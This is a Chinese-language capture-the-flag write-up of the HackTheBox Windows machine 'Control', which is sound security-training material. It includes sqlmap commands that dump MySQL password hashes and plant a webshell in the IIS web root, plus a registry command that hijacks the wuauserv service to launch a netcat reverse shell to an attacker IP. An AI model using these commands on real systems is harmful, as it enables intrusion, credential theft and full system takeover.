HackTheBox-windows-Control

admin 2021年7月14日00:12:12评论60 views字数 2772阅读9分14秒阅读模式

一个每日分享渗透小技巧的公众号HackTheBox-windows-Control



大家好,这里是 大余安全 的第 93 篇文章,本公众号会每日分享攻防渗透技术给大家。




靶机地址:https://www.hackthebox.eu/home/machines/profile/218

靶机难度:中级(4.5/10)

靶机发布日期:2020年4月21日

靶机描述:

Control is a hard difficulty Windows machine featuring a site that is found vulnerable to SQL

injection. This is leveraged to extract MySQL user password hashes, and also to write a webshell

and gain a foothold. The password hash for the SQL user hector is cracked, which is used to

move laterally to their Windows account. Examination of the PowerShell history file reveals that

the Registry permissions may have been modified. After enumerating Registry service

permissions and other service properties, a service is abused to gain a shell as NT AUTHORITYSYSTEM .


请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。




一、信息收集



HackTheBox-windows-Control

可以看到靶机的IP是10.10.10.167....

HackTheBox-windows-Control

namp可以发现运行着MySQL和IIS,IIS版本是10.0,可能这是Windows Server 2016或Windows Server 2019...

http也开放着...

HackTheBox-windows-Control

HackTheBox-windows-Control

访问http服务,查看前端源码发现该网站启用HTTPS,并且证书已存储在192.168.4.28....

这是个重要的信息...

HackTheBox-windows-Control

返回查看admin模块,提示header代理问题...通过google可以发现这是X-Forwarded-For头部插入...

推荐文章:

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For

HackTheBox-windows-Control

通过bp插入X-Forwarded-For,IP是前面前端发现的IP后...跳转到了管理面板中...

HackTheBox-windows-Control

尝试进行sql简单测试,发现存在注入...

为了减少时间,直接利用sqlmap...

HackTheBox-windows-Control

sqlmap -r dayu.txt --level 5 --risk 3 --threads 10 --batch -D mysql -T user -C User,Password --dump

由于前面nmap发现mysql开放着,直接利用sqlmap获得了所有user的passwd....

HackTheBox-windows-Control

对hash值进行爆破,轻松获得了密码...

现在获得了mysql账号和密码信息...

下面思路应该是获得低权shell后,需要利用密码修改$pass值,或者工具转发等,继续...

HackTheBox-windows-Control

HackTheBox-windows-Control

sqlmap -r dayu.txt --level 5 --risk 3 --threads 10 --batch --file-write=/root/Desktop/dayuControl/dayucmd.php --file-dest="C:\inetpub\wwwroot\dayucmd.php"

这里很多种方法可以上传shell...

我这里通过我没尝试过的一种sqlmap 的 --file-write方法上传了文件或者shell...成功上传...

这里还可以利用powershell...或者利用简单的cmd...执行上传都可以...(跳过)

HackTheBox-windows-Control

通过上传的简单cmd脚本,正常执行命令...

那这里就简单了...

HackTheBox-windows-Control

个人觉得NC比较稳定,上传了nc后获得了反向外壳...

查看用户列表,目前获得的权限不足以查看user信息...需要利用前面获得的hector用户的密码进行提权...

HackTheBox-windows-Control

可以查看到hector存在的group信息...

HackTheBox-windows-Control

这里有两种方法可以获得hector权限...一种修改pass/cred值直接提到hector权限后执行shell即可获得外壳...

HackTheBox-windows-Control

另外一种通过netstat查看到windows开放了5985端口,前面nmap没有发现开放的状态,所以该端口仅在localhost上开放着...

这里就可以利用evil-winrm访问该端口,利用kali自带的plink.exe上传到windows中,转发下端口即可...

这里就不演示了...前面讲过很多...

成功获得了user信息...

HackTheBox-windows-Control

get-acl HKLM:SystemCurrentControlSetservices* | Format-List *

这里检查PowerShell历史记录所有的文件,可以看到wuauserv在为hector工作着...可以利用wuauserv服务修改其启动路径,然后获得反向外壳...

HackTheBox-windows-Control利用sc.exe查看了服务的启动路径...

HackTheBox-windows-Control

reg add HKLMSystemCurrentControlSetserviceswuauserv /t REG_EXPAND_SZ /v ImagePath /d "C:UsersHectordocumentsnc64.exe 10.10.14.51 5555 -e cmd.exe" /f

然后通过reg添加另外的启动命令到wuauserv服务中,在利用sc进行重新启用...获得了反向外壳...

获得了system权限读取到了root信息...

HackTheBox-windows-Control

这里我上传了winPEAS工具爬了所有的信息内容,里面还是很多有趣的信息...喜欢研究的可以深入看看...


这台主要学到了sqlmap的挖掘和上传功能...其他的内容都是前面讲过的...

这是一台不久刚从Active退到Retired的机子...

加油!!!


由于我们已经成功得到system权限查看root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。


如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。


如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

HackTheBox-windows-Control
HackTheBox-windows-Control


HackTheBox-windows-Control


随缘收徒中~~随缘收徒中~~随缘收徒中~~


欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

HackTheBox-windows-Control

大余安全

一个全栈渗透小技巧的公众号

HackTheBox-windows-Control




本文始发于微信公众号(大余安全):HackTheBox-windows-Control

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月14日00:12:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox-windows-Controlhttps://cn-sec.com/archives/421822.html

发表评论

匿名网友 填写信息